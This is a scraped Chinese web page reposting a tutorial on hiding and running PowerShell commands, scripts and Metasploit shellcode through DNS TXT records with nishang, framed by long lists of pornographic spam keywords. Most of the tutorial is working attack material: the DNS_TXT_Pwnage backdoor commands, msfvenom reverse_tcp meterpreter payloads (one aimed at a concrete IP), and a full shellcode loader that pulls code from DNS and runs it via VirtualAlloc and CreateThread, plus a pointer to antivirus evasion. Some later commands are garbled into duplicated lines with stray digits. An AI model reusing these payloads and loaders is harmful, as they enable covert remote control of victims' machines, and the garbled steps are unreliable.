亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 開發(fā) > PowerShell > 正文

通過DNS TXT記錄執(zhí)行powershell

2020-03-26 18:52:26
字體:
供稿:網(wǎng)友

0x00簡介

DNS TXT記錄一般用來記錄某個(gè)主機(jī)名或者域名設(shè)置的說明,在這里可以填寫任何東西,長度限制255。絕大多數(shù)的TXT記錄是用來做SPF記錄(反垃圾郵件)。本篇文章主要介紹如何使用 nishang 通過創(chuàng)建TXT記錄執(zhí)行powershell/266935.html">powershell/266722.html">powershell腳本。當(dāng)然,首先你要有一個(gè)域名。

0x01創(chuàng)建TXT記錄

這里需要使用nishang中的一個(gè)腳本 OUT-DnsTxt 。

1.常見命令

因?yàn)槌R娒畋容^短,所以可以直接添加到TXT記錄中,如下圖:

powershell,執(zhí)行腳本,執(zhí)行exe,執(zhí)行bat

現(xiàn)在查看一下TXT記錄:

powershell,執(zhí)行腳本,執(zhí)行exe,執(zhí)行bat

可以看到記錄已經(jīng)成功添加了。

2.腳本

由于TXT記錄長度限制為255,如果要添加一個(gè)腳本到記錄里面,需要添加多個(gè)TXT記錄。下面是一個(gè)例子,自己寫了一個(gè)PSH腳本:

function Get-User { <# .SYNOPSIS Script to generate DNS TXT for a test. .DESCRIPTION Use this script to get user information. to be more big.. more big... big..Do one thing at a time, and do well.Keep on going never give up. .EXAMPLE PS > Get-User #>  [CmdletBinding()] Param ()  net user }

使用Out-Dnstxt進(jìn)行轉(zhuǎn)換:

PS F:/DNS> . ./Out-DnsTxt.ps1 PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1 You need to create 2 TXT records. All TXT Records written to F:/DNS/encodedtxt.txt

由于這個(gè)腳本比較小,所以只生產(chǎn)兩行:

powershell,執(zhí)行腳本,執(zhí)行exe,執(zhí)行bat

可以分別將這兩行內(nèi)容按順序添加到 1.ps.domain.com到2.ps.domian.com中如下圖:

powershell,執(zhí)行腳本,執(zhí)行exe,執(zhí)行bat

查看TXT,可以看到內(nèi)容都已經(jīng)添加好了:

powershell,執(zhí)行腳本,執(zhí)行exe,執(zhí)行bat

0x02 執(zhí)行Powershell

添加完了TXT記錄以后,通過 DNS_TXT_Pwnage.ps1 來執(zhí)行這些腳本。

DNS_TXT_Pwnage.ps1 是一個(gè)通過DNS TXT來接收命令或者腳本的一個(gè)后門腳本

這里還需要添加兩條記錄,strat與stop,具體如下圖:

powershell,執(zhí)行腳本,執(zhí)行exe,執(zhí)行bat

1.執(zhí)行命令

PS F:/DNS> . ./DNS_TXT_Pwnage.ps1 PS F:/DNS> DNS_TXT_Pwnage -startdomain start.evi1cg.me -cmdstring start -commanddomain command.evi1cg.me -psstring test -psdomain xxx.evi1cg.me - Subdomains 1 -StopString stop

解釋一下參數(shù):

startdomain 為創(chuàng)建的 start.domain ,返回一個(gè)字符串; cmdstring 為任意輸入的字符串; commanddomain 為創(chuàng)建的執(zhí)行命令TXT記錄的域名; psstring 為任意輸入的字符串; psdomain 為創(chuàng)建的執(zhí)行腳本TXT記錄的域名或子域名 ; Subdomains 為執(zhí)行腳本創(chuàng)建TXT記錄的個(gè)數(shù)(如1.2中創(chuàng)建的腳本,該值為2); StopString 為任意輸入的字符串。

此處比較重要的參數(shù)為 startdomain ,他會(huì)與我們輸入的cmdstring以及psstring進(jìn)行比較,如果與cmdstring值相等,則執(zhí)行 commanddomain 即命令,與psstring相等則執(zhí)行 psdomain 即腳本。

上面為執(zhí)行命令,所以cmdstring值我們輸入為start,與start.evi1cg.me的txt記錄值相等,psstring隨便輸入,不留空就行。執(zhí)行結(jié)果如下圖:

powershell,執(zhí)行腳本,執(zhí)行exe,執(zhí)行bat

我們可以通過修改command.domain的TXT值來執(zhí)行不同的命令。比如Get-Host:

powershell,執(zhí)行腳本,執(zhí)行exe,執(zhí)行bat

2.執(zhí)行腳本

PS F:/DNS> . ./DNS_TXT_Pwnage.ps1 PS F:/DNS> DNS_TXT_Pwnage -startdomain start.evi1cg.me -cmdstring bulabula -commanddomain command.evi1cg.me -psstring start -psdomain ps.evi1 cg.me -Arguments Get-User -Subdomains 2 -StopString stop

這里要注意,psstring的值為start,與start.domain的TXT記錄相同,cmdstring為任意字符串。效果如下圖:

powershell,執(zhí)行腳本,執(zhí)行exe,執(zhí)行bat

這里多一個(gè)參數(shù) Arguments ,要寫明要執(zhí)行的函數(shù)名,測(cè)試發(fā)現(xiàn),在腳本中含有中文時(shí)會(huì)失敗。對(duì)于需要帶參數(shù)的腳本可以修改腳本指定參數(shù)值。

0x03 執(zhí)行Shellcode

可以通過TXT記錄執(zhí)行shellcode,首先,我們使用msf生成一個(gè)powershell的shellcode:

?  ~  sudo msfvenom -p windows/meterpreter/reverse_tcp -f powershell LHOST=x.x.x.x LPORT=8887 > pspayload.txt

使用Out-DnsTxt對(duì)生成的文件進(jìn)行轉(zhuǎn)換:

PS F:/DNS> Out-DnsTxt -DataToEncode ./pspayload.txt You need to create 3 TXT records. All TXT Records written to F:/DNS/encodedtxt.txt

然后將以上記錄分別添加到TXT記錄中,如下圖:

powershell,執(zhí)行腳本,執(zhí)行exe,執(zhí)行bat

測(cè)試使用的32位win7系統(tǒng),使用msf開啟監(jiān)聽:

msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set LPORT 8887 LPORT => 8887 msf exploit(handler) > set LHOST x.x.x.x LHOST => x.x.x.x msf exploit(handler) > exploit  [*] Started reverse handler on x.x.x.x:8887 [*] Starting the payload handler...

我們還需要一個(gè)獲取TXT記錄并執(zhí)行的腳本,這里我改了一個(gè)腳本:

function Execute-Code { <# .PARAMETER Shelldomain The domain (or subdomain) whose subbdomain's TXT records would hold shellcode. .PARAMETER subdomains The number of subdomains which would be used to provide shellcode from their TXT records. .PARAMETER AUTHNS Authoritative Name Server for the domains. .EXAMPLE PS > Execute-Code The payload will ask for all required options. .EXAMPLE PS > Execute-Code -Shelldomain 32.alteredsecurity.com -SubDomains 5 -AUTHNS f1g1ns2.dnspod.net. Use above from non-interactive shell. #>  [CmdletBinding()] Param(     [Parameter(Position = 0, Mandatory = $True)]     [String]     $Shelldomain,     [Parameter(Position = 1, Mandatory = $True)]     [String]     $Subdomains,        [Parameter(Position = 2, Mandatory = $True)]     [String]     $AUTHNS   )  function Get-ShellCode   {   Param(       [Parameter()]       [String]       $Shelldomain     )     $i = 1     while ($i -le $subdomains)     {       $getcommand = (Invoke-Expression "nslookup -querytype=txt $i.$Shelldomain $AUTHNS")        $temp = $getcommand | select-string -pattern "`""       $tmp1 = ""       $tmp1 = $tmp1 + $temp       $encdata = $encdata + $tmp1 -replace '/s+', "" -replace "`"", ""       $i++     }    #$encdata = ""     $dec = [System.Convert]::FromBase64String($encdata)     $ms = New-Object System.IO.MemoryStream     $ms.Write($dec, 0, $dec.Length)     $ms.Seek(0,0) | Out-Null     $cs = New-Object System.IO.Compression.DeflateStream ($ms, [System.IO.Compression.CompressionMode]::Decompress)     $sr = New-Object System.IO.StreamReader($cs)     $sc = $sr.readtoend()   return $sc   }   $Shell = (Get-ShellCode $Shelldomain)   #Remove unrequired things from msf shellcode   $tmp = $Shell -replace "`n","" -replace '/$buf /+/= ',"," -replace '/[Byte/[/]/] /$buf /=' -replace " "   [Byte[]]$sc = $tmp -split ','   #Code Execution logic  $code = @"  [DllImport("kernel32.dll")]  public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);  [DllImport("kernel32.dll")]  public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);  [DllImport("msvcrt.dll")]  public static extern IntPtr memset(IntPtr dest, uint src, uint count); "@   $winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru  $size = 0x1000    if ($sc.Length -gt 0x1000) {$size = $sc.Length}    $x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)    for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt64()+$i), $sc[$i], 1)}  Try {     $winFunc::CreateThread(0,0,$x,0,0,0)     sleep 100000   }  Catch  {  [system.exception]  "caught a system exception"  } }

參數(shù)說明, Shelldomain 為創(chuàng)建txt記錄的域名或子域名; subdomains 為創(chuàng)建TXT域名的個(gè)數(shù),如上面所創(chuàng)建的為3; AUTHNS 為域的權(quán)威名稱服務(wù)器,如我使用的狗爹,所以AUTHNS為f1g1ns2.dnspod.net

在32位win7上執(zhí)行:

PS C:/Users/evi1cg/Desktop> . ./Execute-Code.ps1

成功獲取meterpreter會(huì)話:

powershell,執(zhí)行腳本,執(zhí)行exe,執(zhí)行bat

64位的請(qǐng)自行修改payload及腳本。

0x04 補(bǔ)充

Metasploit中已經(jīng)含有此腳本 dns_txt_query_exec.rb ,此腳本查詢TXT記錄的順序?yàn)閍.domain,b.domain…,下面是一個(gè)示例,首先生成payload:

?  ~  sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=103.238.225.222 LPORT=8887 -e x86/alpha_mixed Bufferregister=EDI -f raw > reverse.txt

使用下面的腳本對(duì)該文件進(jìn)行切割:

PS F:/DNS> . ./Out-DnsTxt.ps1 PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1 You need to create 2 TXT records. All TXT Records written to F:/DNS/encodedtxt.txt

0

輸出如下:

powershell,執(zhí)行腳本,執(zhí)行exe,執(zhí)行bat

將這三行分別添加到a.domain,b.domain,c.domain的TXT記錄中:

powershell,執(zhí)行腳本,執(zhí)行exe,執(zhí)行bat

生成exe:

PS F:/DNS> . ./Out-DnsTxt.ps1 PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1 You need to create 2 TXT records. All TXT Records written to F:/DNS/encodedtxt.txt

1

msf開啟監(jiān)聽:

PS F:/DNS> . ./Out-DnsTxt.ps1 PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1 You need to create 2 TXT records. All TXT Records written to F:/DNS/encodedtxt.txt

2

運(yùn)行exe,獲得meterpreter:

powershell,執(zhí)行腳本,執(zhí)行exe,執(zhí)行bat

至于免殺,可以直接生成c格式的shellcode,然后按照 打造免殺payload 來做。

0x05 小結(jié)

本文主要介紹一種執(zhí)行命令的方式以及nishang的腳本使用,希望能對(duì)大家有幫助。


發(fā)表評(píng)論 共有條評(píng)論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
92久久精品| 美女100%露胸无遮挡| а√最新版在线天堂| 亚洲欧美日本日韩| 亚洲精品aⅴ| 欧美极度另类videos高清| 精品伊人久久大线蕉色首页| 国产精品不卡一区二区三区| 欧美1区2区| 高清一区二区三区日本久| 奇米一区二区三区av| 国产三级视频在线看| 黑人巨大精品欧美一区二区奶水| 精品一区二区三区四区五区| 日本激情一区| 韩国日本一区二区三区| 亚洲精品乱码久久久久久久| 性爱在线免费视频| 日本成人在线免费视频| 久久黄色一级视频| 91免费公开视频| 精品69视频一区二区三区Q| 91精品国产综合久久精品性色| 国产精品不卡一区| 97人人做人人爽香蕉精品| 婷婷免费在线观看| 蜜桃一区二区三区在线观看| 国产偷人妻精品一区二区在线| 一区二区三区 在线观看视频| 欧美精品另类| 日本19禁啪啪吃奶大尺度| 亚洲一级网站| 亚洲人成人77777线观看| 亚洲成人1区2区| 色先锋aa成人| 91在线视频播放地址| 麻豆亚洲一区| 樱花草在线观看www| 国产特级淫片免费看| 欧美aⅴ99久久黑人专区| 国产婷婷色一区二区三区在线| 国产成+人+亚洲+欧美+综合| 女同互添互慰av毛片观看| 一区二区三区四区在线看| 国产九色91回来了| 亚洲激情在线| 99re视频这里只有精品| 免费毛片a线观看| 欧美精品欧美精品| 成人p站proumb入口| h片在线观看视频免费| 9.1成人看片免费版| 亚洲小说欧美另类婷婷| 激情五月婷婷小说| 国产精品1区2区3区| 成人激情黄色小说| 欧美日韩精品在线一区| 男人插曲女人视频免费| 九九精品在线| 日韩福利视频在线观看| 亚洲色欲综合一区二区三区| 欧美精品一区二区三区在线播放| 日韩欧美亚洲范冰冰与中字| 精品视频国内| 国产又大又粗又爽的毛片| 激情偷乱视频一区二区三区| 成人午夜大片| 国产精品熟女一区二区不卡| 91中文字幕在线观看| 91禁男男在线观看| 亚洲欧美日韩另类| 国产精品亚洲第一区| 免费看国产曰批40分钟| 在线观看黄av| 欧美多人野外伦交| 国产视频第一页在线观看| 日本少妇做爰全过程毛片| 国产亚洲精品久久久久久无几年桃| 国产真实精品久久二三区| 久久久久久久久久久久| 欧美黑人做爰爽爽爽| 日韩高清免费av| 男人操女人免费| 日本大片在线看黄a∨免费| 伊人久久中文字幕| 欧美色图首页| 精品国产www| 91国产精品视频在线| 午夜精品久久久久久久99热浪潮| 污网站在线看| 男生女生差差差的视频在线观看| 99久久99热久久精品免费看| 成人午夜视频福利| 韩国主播福利视频一区二区三区| 日韩三级av在线播放| 欧美成人三级| 免费看美女视频在线网站| 亚洲成人天堂网| 亚洲天天做日日做天天谢日日欢| 国产一区喷水| 9色视频在线观看| 日本在线一二三区| 午夜精品视频在线观看一区二区| 成人激情午夜影院| 国产精品天干天干在线综合| 好吊色视频一区二区| 麻豆视频观看网址久久| 欧美丰满少妇xxxxx| 国产伦精品一区二区三区视频青涩| 青青青在线免费观看| 日本一区二区三区四区高清视频| 精品福利在线| 国产精品狼人久久影院观看方式| 午夜精品一区二区三区在线播放| 日韩专区第一页| 亚洲男人天堂av网| 人妻精品久久久久中文字幕| 日本免费网站| 久久99久久精品| 91九色蝌蚪在线| 欧美日韩久久久一区| 99在线观看免费| 亚洲xxxx2d动漫1| 欧美 日韩 国产 一区| 成人自拍视频在线| 亚洲精品免费观看| 日韩精品免费一区二区三区| 麻豆九一精品爱看视频在线观看免费| 亚洲性线免费观看视频成熟| 意大利激情丛林无删减版dvd| 97se亚洲国产综合自在线| 成人爽a毛片免费啪啪动漫| 亚洲精品suv精品一区二区| 国产suv精品一区二区三区| 亚洲欧美另类在线观看| 久久高清精品| 99久久精品免费观看| 中文字幕在线播放网址| 精品九九九九| 伊人色综合网| 久久精品国产精品亚洲色婷婷| 中文字幕55页| 亚洲日本中文字幕免费在线不卡| 秋霞午夜电影| 在线丝袜欧美日韩制服| 九九九热999| 欧洲午夜精品| 中文字幕日韩精品无码内射| 欧美一级裸体视频| 99这里有精品| 精品福利在线观看| 国产精品videosex极品| 精品成在人线av无码免费看| 久久er99热精品一区二区| 麻豆精品视频在线观看| 国产欧美久久久久久久久| 久久久www| 日日夜夜操操操| 久久久青草青青国产亚洲免观| 久久九九免费视频| 97精品国产97久久久久久春色| 亚久久调教视频| 欧美激情在线观看| proumb性欧美在线观看| 北条麻妃99精品青青久久| 2017欧美狠狠色| 九九九免费视频| 久热这里只精品99re8久| www.在线视频| 99国产在线| 久久亚洲天堂| 91亚洲天堂| 精品国产91乱码一区二区三区四区| 欧美丝袜丝nylons| 亚洲精品66| 欧美极品视频| 亚洲精品国产精品乱码不99| 久久久久久久久97| 中文字幕一区二区三区免费视频| 婷婷视频一区二区三区| 亚洲视频国产视频| 蜜桃av一区二区在线观看| 先锋影音在av资源看片| 精品久久福利| 国产一区精品视频| 播九公社成人综合网站| 天天爽夜夜爽夜夜爽| 亚洲精品免费在线看| 五月婷婷伊人网| 欧美三级一区二区| 日本精品视频网站| va亚洲va日韩不卡在线观看| 欧美怡红院在线| 欧美激情视频在线播放| 婷婷国产成人精品视频| 欧美日韩免费看片| 男人操女人下面视频| 一区二区三区在线观看免费| 麻豆明星ai换脸视频| 国产精品毛片一区二区在线看| 成人免费毛片网| 亚洲国产精品精华液2区45| 91中文字精品一区二区| 欧美国产精品日韩| 欧美一级在线观看| 欧美日韩一区二区三区在线电影| 国产精品第一国产精品| 亚洲天堂av综合网| 久久国产精品网| 欧美肥老太太性生活| 欧美丰满少妇xxxxx高潮对白| 中文字幕永久在线视频| 亚洲激情社区| av在线三区| 成人免费看黄yyy456| ww亚洲ww在线观看国产| 福利所第一导航| 亚洲乱码一区二区| 午夜久久免费观看| 男女私大尺度视频| 亚洲第一在线综合网站| 中文日韩在线| 青青草国产精品| 色婷五月综激情亚洲综合| 2018av| 国产精自产拍久久久久久蜜| 秋霞在线观看一区二区三区| 福利电影导航| 日韩欧美中文字幕一区二区三区| 专区另类欧美日韩| 综合久久中文字幕| 国产日韩欧美在线一区| 男人日女人的bb| 欧美日韩久久久久久| 国产精品国精产品一二| 免费在线观看一区| 五月综合激情婷婷六月色窝| 色综合视频在线| 偷拍25位美女撒尿视频在线观看| 亚洲综合一区二区不卡| 91av在线精品| 老司机精品福利在线观看| 一级黄色免费网站| 成人听书哪个软件好| 国产精品夜夜夜一区二区三区尤| 欧美午夜精品一区二区三区| 亚洲色图网站| 91精彩刺激对白露脸偷拍| 日本免费网站在线观看| 色视频在线看| 精品国偷自产在线| 5g影院5g天天爽永久免费影院| 亚洲自拍偷拍图区| 精品日产乱码久久久久久仙踪林| 91精品推荐| 天天色天天射天天干| 国产91久久久久| 粉嫩虎白女毛片人体| 波多野结衣一本一道| 一区二区三区四区在线观看视频| 色婷婷av一区二区三区之一色屋| 91福利国产精品| 高清亚洲成在人网站天堂| 欧美成人tv| 欧美日韩性生活| 色欲狠狠躁天天躁无码中文字幕| 秋霞午夜av一区二区三区| 亚洲成年人专区| 日本精品一区二区三区高清| 亚洲丝袜一区在线| 香蕉视频国产在线观看| 18精品爽视频在线观看| 粉嫩欧美一区二区三区| 日本欧美一区二区| 老司机午夜网站| 欧美天堂一区二区三区| 成人欧美日韩| 国产视频一区二区不卡| 国产寡妇亲子伦一区二区三区四区| 亚洲一区影音先锋| 欧美久久九九| 日韩免费av一区二区三区| 国产人妖乱国产精品人妖| 午夜精品一区二区三区在线| 久久久久免费视频| 亚洲一区二区三区自拍| 久久久www成人免费无遮挡大片| 中文字幕永久有效| 视频三区二区一区| 中文乱码免费一区二区三区下载| 亚洲裸体俱乐部裸体舞表演av| 91精品国产成人| 九色91porny| 色噜噜狠狠一区二区三区果冻| 91麻豆精品国产综合久久久| www.av毛片| 男女啪啪免费视频网站| h片视频在线观看| 国产一区二区三区蝌蚪| 18+激情视频在线| 日韩欧美电影| 天天操,天天操| 四虎.com| 久久久久久九九| 精品成人免费视频| 97人妻精品一区二区三区| 中文字幕欧美激情一区| 国产在线播精品第三| 精品乱码一区内射人妻无码| 欧美大片专区| 天天综合网91| 美女任你摸久久| 极品色av影院| 美日韩一区二区| 欧美国产精品人人做人人爱| 日韩美女视频网站| 国产精品视频网| 欧美丰满少妇xxxbbb| 最新国产精品亚洲| 日韩av网站在线免费观看| 一级片a一级片| av一区二区三区| 一级片a一级片| 91在线免费视频| 欧美午夜精品久久久久久超碰| 国产精品久久久久久久久男| 成年大片免费视频播放二级| 国产精品免费久久久久影院|